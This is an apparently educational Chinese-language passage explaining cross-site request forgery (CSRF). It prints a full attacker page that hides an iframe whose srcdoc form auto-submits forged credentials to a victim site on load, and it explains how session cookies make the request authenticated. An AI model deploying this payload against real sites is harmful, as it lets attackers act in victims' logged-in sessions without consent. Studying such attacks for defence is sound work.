1、攻擊者在“頁面1”中http://www.b.com/indexb.html中寫下如下代碼:

1 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> 2 3 <html> 4 5 <head> 6 7 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> 8 9 <title>Welcome to CSRF</title> 10 11 </head> 12 13 <p style="color:blue; text-align:center; font-size:60px;">Your're by CSRF</p> 14 15 <body> 16 <!--hidden屬性使內聯框架iframe隱藏,這樣的CSRF隱蔽--> 17 <iframe hidden width=1000 heigth=100 src="#" srcdoc=' 18 19 <form action="http://www.a.com/indexa.html" id="register" method="get" name="form"> 20 <input type=text name="username" value="" /> 21 <input type=password name="password" value="" /> 22 </form> 23 24 <script> 25 var f = document.getElementById("register"); 26 console.log(f.username.value); 27 f.username.value="test"; 28 f.password.value="passwd"; 29 //進行自動提交 30 document.form.submit(); 31 </script> 32 33 '></iframe> 34 35 </body> 36 37 </html>
2、當訪問”頁面1“時,這段代碼向http://www.a.com/indexa.html發送了一個GET請求(當然POST也可以),而且是當用戶訪問的時候自動提交的。由於內嵌在iframe中且iframe設置了hidden屬性,所以你看不到瀏覽器界面有什么變化(url沒有變化,也看不到iframe)。假如用戶在訪問”頁面1“之前已經訪問過了網站”http://www.a.com/indexa.html“同域下的其他認證頁面,這時,只要瀏覽器沒有關閉或者重啟的化(關閉認證的tab頁沒有影響),則臨時cookie(一般認證通過設置cookie的方式實現)即session cookie會存在於內存中;在內存中的session cookie未消失之前,訪問同域下的其他頁面,瀏覽器就會在這些頁面的header中帶上cookie值。通過上面這樣的方式便實現了授權的CSRF。
3、臨時cookie存在於內存中,瀏覽器關閉或者重啟,釋放內存,才會清空臨時cookie;本地cookie存在於硬盤上,只要到期后才會消失
4、IE瀏覽器目前不支持iframe的srcdoc屬性,因此IE不適用本文,其他主流瀏覽器可以,如下所示:
5、另外除了IE瀏覽器,其他瀏覽器都可以在<iframe>/<img>/<link>/<script>等標簽中發送本地cookie;但是所有瀏覽器都發送Session Cookie